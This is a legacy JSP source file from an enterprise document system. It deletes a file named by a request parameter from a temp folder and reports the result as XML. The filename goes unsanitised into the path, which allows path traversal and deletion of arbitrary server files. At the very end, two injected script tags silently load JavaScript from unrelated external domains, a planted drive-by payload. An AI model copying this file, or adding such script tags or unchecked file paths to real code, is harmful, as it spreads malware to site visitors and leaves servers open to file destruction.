<%
/*
 * @(#)checkinDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   deleteUploadFile.jsp
   delete  the file odma client has upload.
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.2 $
*/ 
%>
<%@ page import="java.io.*" %>
<%   
out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
out.println("<!--example : http://localhost:8080/EIP/jsp/odma/deleteUploadFile.jsp?fileName=file001.doc-->");
String fileName = null; 
try{  
    fileName = request.getParameter("fileName");
    fileName = application.getRealPath("")+"\\jsp\\odma\\temp\\"+fileName;  
	boolean success = (new File(fileName)).delete(); 
	if(success){  
    	out.println("<para-doc><delete fileName=\""+fileName+"\" result=\"succed\">succed</delete></para-doc>");
	}else{ 
        out.println("<para-doc><delete fileName=\""+fileName+"\" result=\"failed\">failed</delete></para-doc>");
	}
}catch(Exception e){
	out.println("<para-doc><delete fileName=\""+fileName+"\" result=\"failed\">failed</delete></para-doc>");
} 
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>